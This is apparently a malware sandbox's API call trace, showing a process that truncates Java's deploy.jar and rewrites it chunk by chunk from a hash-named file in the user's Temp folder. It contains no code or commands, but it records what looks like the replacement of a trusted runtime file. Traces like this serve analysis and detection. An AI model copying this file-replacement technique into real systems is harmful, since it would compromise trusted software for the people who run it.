	[0249.886] SetEvent (hEvent=0x124) returned 1
	[0249.886] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0249.886] GetFileType (hFile=0x120) returned 0x1
	[0249.886] WriteFile (in: hFile=0x120, lpBuffer=0xc000fc8000*, nNumberOfBytesToWrite=0x4ce8de, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc000fc8000*, lpNumberOfBytesWritten=0xc0000bfbec*=0x4ce8de, lpOverlapped=0x0) returned 1
	[0250.495] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0250.740] SetEvent (hEvent=0xe4) returned 1
	[0250.740] CloseHandle (hObject=0x120) returned 1
	[0251.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0251.811] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0251.811] GetFileType (hFile=0x120) returned 0x1
	[0251.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\64df796b562ba10f0aee0dc27102191f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\64df796b562ba10f0aee0dc27102191f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0251.811] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0251.811] GetFileType (hFile=0x1a8) returned 0x1
	[0251.811] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0251.813] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0251.824] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0251.824] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0251.825] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0251.826] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0251.827] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.081] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.083] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.086] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.089] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.089] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.091] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.091] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.092] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.093] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.094] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.098] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.106] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.106] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.125] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.125] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.126] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.127] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.128] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.129] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.130] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.130] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.131] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.132] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.134] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.134] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.135] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.137] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.140] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.141] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.142] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.142] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.223] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.223] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.224] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.225] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.227] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.227] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.228] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.229] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.230] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.231] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.232] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.234] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.238] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.238] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.240] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.241] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.242] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.242] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.244] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.245] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.246] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.247] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.248] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.248] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.250] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.250] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.252] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.365] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.376] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.376] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.497] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.497] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.499] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.499] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.500] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.500] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.502] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.502] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.503] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.504] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.506] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.506] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.507] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.509] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.511] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.511] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.513] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.513] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
	[0252.514] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0252.515] WriteFile (in: hFile=0x120, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x8000, lpOverlapped=0x0) returned 1
